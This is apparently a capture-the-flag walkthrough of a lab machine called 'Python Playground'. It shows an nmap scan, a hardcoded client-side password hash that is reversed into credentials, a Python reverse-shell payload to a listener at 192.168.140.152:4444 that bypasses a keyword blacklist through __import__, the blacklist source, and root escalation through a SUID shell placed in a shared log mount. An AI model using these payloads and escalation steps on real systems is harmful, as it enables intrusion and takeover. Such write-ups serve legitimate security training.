

# Python Playground

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## Enumeration

### Nmap Scan

22: ssh

80: http

```
POR STATE SERVICE VERSION
22/tcp open  ssh  OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; prot
ocol 2.0)
| ssh-hostkey:
|   2048 f4:af:2f:f0:42:8a:b5:66:61:3e:73:d8:0d:2e:1c:7f (RSA)
|   256 36:f0:f3:aa:6b:e3:b9:21:c8:88:bd:8d:1c:aa:e2:cd (ECDSA)
|_ 256 54:7e:3f:a9:17:da:63:f2:a2:ee:5c:60:7d:29:12:55 (ED25519)
```

80/tcp open http Node.js Express framework

|\_http-title: Python Playground!

Warning: OSScan results may be unreliable because we could not find at le
ast 1 open and 1 closed port

Device type: general purpose

Running: Linux 4.X

OS CPE: cpe:/o:linux:linux\_kernel:4.15

OS details: Linux 4.15

Network Distance: 3 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

```
TRACEROUTE (using port 80/tcp)
```

```
HOP RTT ADDRESS
```

```
1 67.14 ms 192.168.128.1
```

```
2 ...
```

```
3 68.09 ms 10.49.167.146
```

```
OS and Service detection performed. Please report any incorrect results at  
https://nmap.org/submit/ .
```

```
Nmap done: 1 IP address (1 host up) scanned in 13.90 seconds
```

## SSH (22)

```
└$ ssh root@playground.thm
```

```
The authenticity of host 'playground.thm (10.49.167.146)' can't be established.
```

```
ED25519 key fingerprint is: SHA256:HLoU1KqmdReseJ5xwjsMAvFvwdzT3  
dUWbeGpiz6odl
```

```
This key is not known by any other names.
```

```
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
```

```
Warning: Permanently added 'playground.thm' (ED25519) to the list of known hosts.
```

```
** WARNING: connection is not using a post-quantum key exchange algorithm.
```


```
** This session may be vulnerable to "store now, decrypt later" attacks.
```

```
** The server may need to be upgraded. See https://openssh.com/pq.html
```


```
root@playground.thm's password:
```

- Password authentication is enabled. Reuse of credentials need to be checked

## HTTP (80)




It mentions blacklists, and not whitelist. This can be a way inside the server.



Sorry, but due to some recent security issues, only admins can use the site right now. Don't worry, the developers will fix it soon :)

[Back to homepage](#)

Cannot sign up.




Cannot login as well.

## Subdirectories enumeration

admin.html	[Status: 200, Size: 3134, Words: 667, Lines: 118, Duration: 71ms]
index.html	[Status: 200, Size: 941, Words: 308, Lines: 30, Duration: 70ms]
index.html	[Status: 200, Size: 941, Words: 308, Lines: 30, Duration: 73ms]
login.html	[Status: 200, Size: 549, Words: 152, Lines: 19, Duration: 68ms]
signup.html	[Status: 200, Size: 549, Words: 152, Lines: 19, Duration: 68ms]

admin.html is something of interest.



We have a backdoor site.


```

69 <script>
70 // I suck at server side code, luckily I know how to make things secure without it - Connor
71
72 function string_to_int_array(str){
73     const intArr = [];
74
75     for(let i=0;i<str.length;i++){
76         const charcode = str.charCodeAt(i);
77
78         const partA = Math.floor(charcode / 26);
79         const partB = charcode % 26;
80
81         intArr.push(partA);
82         intArr.push(partB);
83     }
84
85     return intArr;
86 }
87
88 function int_array_to_text(int_array){
89     let txt = '';
90
91     for(let i=0;i<int_array.length;i++){
92         txt += String.fromCharCode(97 + int_array[i]);
93     }
94
95     return txt;
96 }
97
98 document.forms[0].onsubmit = function (e){
99     e.preventDefault();
100
101     if(document.getElementById('username').value !== 'connor'){
102         document.getElementById('fail').style.display = '';
103         return false;
104     }
105
106     const chosenPass = document.getElementById('inputPassword').value;
107
108     const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(chosenPass))));
109
110     if(hash === 'dxeedxbdwemdwesdxtdwiegdxefdxeduduegduerdydvdvdu'){
111         window.location = 'super-secret-admin-testing-panel.html';
112     } else {
113         document.getElementById('fail').style.display = '';
114     }
115
116 }
117 </script>

```

The source code reveals some interesting information. The hash is hardcoded in the source code. It could be some hashing type but seeing the code, it is not secure at all. Only some conversions.

Also we get to know the username `connor` .



Able to visit the `super-secret-admin-testing-panel.html` page without login.

A screenshot of a web-based Python playground. The URL is playground.thm/super-secret-admin-testing-panel.html. The page title is "Python Playground!" - By Connor. In the code editor, the user has typed `print(123)`. The output window shows the result `123` and an exit code of `0`.

```
print(123)
```

123  
Exit code 0

And I am able to execute commands. Let's try to get a reverse shell using the basic payload. Since the site mentions blacklisting, I am assuming basic payload won't work.

A screenshot of the same Python playground page. The user has pasted a reverse shell payload:

```
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.140.152",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("sh")
```

The output window displays the message `Security threat detected!`.

Security threat detected!

As expected. I will try some encoding.

Some keywords that are in the blacklist: import, eval

## Python Playground! - By Connor

```
os = __import__("os").getcwd()
print(os)
```

/root/app

Exit code 0

Go!

I tried using `__import__` instead of `import` and it worked. So I have to covert the whole reverse shell payload accordingly.

# Gaining Shell

## Python Playground! - By Connor

```
socket = __import__("socket")
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.140.152",4444))
os = __import__("os")
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

pty = __import__("pty")
pty.spawn("sh")
```

```
[--(.venv)--(kali㉿kali)-[~/Desktop/THM/Python Playground]]
$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.140.152] from (UNKNOWN) [10.48.145.89] 48760
#
```

And I am in.

```

function isAllowed(code){
    if(typeof code !== 'string'){
        return false;
    }
    if(code.indexOf('import ') ≥ 0){
        return false;
    }
    if(code.indexOf('eval') ≥ 0){
        return false;
    }
    if(code.indexOf('.system') ≥ 0){
        return false;
    }
    if(code.indexOf('exec') ≥ 0){
        return false;
    }

    return true;
}

```

The source code shows the blacklisted words.

## Gaining User credentials

From the admin.html source code:

```

function string_to_int_array(str){
    const intArr = [];

    for(let i=0;i<str.length;i++){
        const charcode = str.charCodeAt(i);

        const partA = Math.floor(charcode / 26);
        const partB = charcode % 26;

        intArr.push(partA);
        intArr.push(partB);
    }

    return intArr;
}

function int_array_to_text(int_array){
    let txt = '';

    for(let i=0;i<int_array.length;i++){
        txt += String.fromCharCode(97 + int_array[i]);
    }

    return txt;
}

```

We can reverse this code to get the password.

```

def text_to_int_array(s: str) → list:
    int_array = list()

```

```

for i in range(len(s)):
    int_array.append(ord(s[i])-97)

return int_array

def int_array_to_str(arr: list) → str:
    s = ""
    for i in range(0, len(arr)-1, 2):
        char_code = arr[i]*26 + arr[i+1]
        s += chr(char_code)
    return s

final_hash = "dxeedxebdwemdweisdxtdweqdxefdxdudueqduerdvdtdv
du"
password = int_array_to_str(text_to_int_array(int_array_to_str(text_to_int_arr
ay(final_hash))))
print(password)

```

```

└$ python3 rev_hash.py
spaghetti1245

```

connor:spaghetti1245

Reusing this username and password for SSH into Connor.

## Privilege Escalation

```

connor@pythonplayground:~$ netstat -tulnp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address          Foreign Address        State      PID/Program name
tcp        0      0 127.0.0.53:53           0.0.0.0:*          LISTEN
tcp        0      0 0.0.0.0:22            0.0.0.0:*          LISTEN
tcp        0      0 127.0.0.1:36543        0.0.0.0:*          LISTEN
tcp6       0      0 :::80                 :::*               LISTEN
tcp6       0      0 :::22                 :::*               LISTEN
udp        0      0 127.0.0.53:53           0.0.0.0:*          -
udp        0      0 10.48.145.89:68         0.0.0.0:*          -

```

Nothing suspicious in the services

```
# ls
ls
index.js  node_modules  package-lock.json  package.json  scripts  static
# cd /mnt
cd /mnt
# ls
ls
log
# ls -la
ls -la
total 12
drwxr-xr-x 1 root root 4096 May 16 2020 .
drwxr-xr-x 1 root root 4096 May 16 2020 ..
drwxrwxr-x 9 root 106 4096 May 11 2020 log
# █
```

The /mnt directory in the container has a log subdirectory.

```
# ls -la
ls -la
total 3896
drwxrwxr-x 9 root 106 4096 May 11 2020 .
drwxr-xr-x 1 root root 4096 May 16 2020 ..
-rw-r--r-- 1 root root 27163 May 11 2020 alternatives.log
drwxr-xr-x 2 root root 4096 May 16 2020 apt
-rw-r----- 1 102 adm 38468 Dec 1 09:17 auth.log
-rw-r--r-- 1 root root 56751 Feb 3 2020 bootstrap.log
-rw-rw---- 1 root utmp 1920 May 12 2020 btmp
-rw-r--r-- 1 root root 40901 Dec 1 08:41 cloud-init-output.log
-rw-r--r-- 1 102 adm 896736 Dec 1 08:41 cloud-init.log
drwxr-xr-x 2 root root 4096 Jan 24 2020 dist-upgrade
-rw-r--r-- 1 root root 508605 May 16 2020 dpkg.log
-rw-r--r-- 1 root root 32032 May 11 2020 faillog
drwxr-xr-x 3 root root 4096 May 11 2020 installer
drwxr-sr-x+ 3 root messagebus 4096 May 11 2020 journal
-rw-r----- 1 102 adm 806043 Dec 1 08:41 kern.log
drwxr-xr-x 2 108 112 4096 May 11 2020 landscape
-rw-rw-r-- 1 root utmp 292292 Dec 1 09:08 lastlog
drwxr-xr-x 2 root root 4096 Nov 23 2018 lxd
-rw-r----- 1 102 adm 1459595 Dec 1 09:19 syslog
-rw----- 1 root root 64064 May 11 2020 tallylog
drwxr-x--- 2 root adm 4096 May 11 2020 unattended-upgrades
-rw-rw-r-- 1 root utmp 47616 Dec 1 09:08 wtmp
```

```
connor@pythonplayground:/var/log$ ls -la
total 3896
```

```

drwxrwxr-x 9 root syslog      4096 May 11 2020 .
drwxr-xr-x 13 root root       4096 Feb 3 2020 ..
-rw-r--r-- 1 root root        27163 May 11 2020 alternatives.log
drwxr-xr-x 2 root root       4096 May 16 2020 apt
-rw-r----- 1 syslog adm     38468 Dec 1 09:17 auth.log
-rw-r--r-- 1 root root       56751 Feb 3 2020 bootstrap.log
-rw-rw---- 1 root utmp      1920 May 12 2020 btmp
-rw-r--r-- 1 syslog adm     896736 Dec 1 08:41 cloud-init.log
-rw-r--r-- 1 root root      40901 Dec 1 08:41 cloud-init-output.log
drwxr-xr-x 2 root root      4096 Jan 24 2020 dist-upgrade
-rw-r--r-- 1 root root      508605 May 16 2020 dpkg.log
-rw-r--r-- 1 root root      32032 May 11 2020 faillog
drwxr-xr-x 3 root root      4096 May 11 2020 installer
drwxr-sr-x+ 3 root systemd-journal 4096 May 11 2020 journal
-rw-r----- 1 syslog adm    806043 Dec 1 08:41 kern.log
drwxr-xr-x 2 landscape landscape 4096 May 11 2020 landscape
-rw-rw-r-- 1 root utmp      292292 Dec 1 09:08 lastlog
drwxr-xr-x 2 root root      4096 Nov 23 2018 lxd
-rw-r----- 1 syslog adm    1459595 Dec 1 09:19 syslog
-rw----- 1 root root      64064 May 11 2020 tallylog
drwxr-x--- 2 root adm      4096 May 11 2020 unattended-upgrades
-rw-rw-r-- 1 root utmp      47616 Dec 1 09:08 wtmp

```

The /mnt/log from the container is linked to the /var/log of the main machine. And as we are root in the container, we can place SUID bit set /bin/bash binary in the /mnt/log directory and run it from the Connor's account.

This didn't work because of mismatch of the libtinfo.so.6 library and we are not able to do the reverse as well. So I tried with /bin/sh - which is simpler than /bin/bash.

```

# cp /bin/sh .
cp /bin/sh .
# chmod +s sh
chmod +s sh

```

```
exitsConnor@pythonplayground:/var/log$ ls -la
```

```
total 4028
...
-rw-rw-r-- 1 root    utmp      292292 Dec 1 09:36 lastlog
drwxr-xr-x 2 root    root      4096 Nov 23 2018 lxd
-rwsr-sr-x 1 root    root     129816 Dec 1 09:37 sh
...
```

```
connor@pythonplayground:/var/log$ ./sh -p
# id
uid=1000(connor) gid=1000(connor) euid=0(root) egid=0(root) groups=0( root),1000(connor)
# whoami
root
```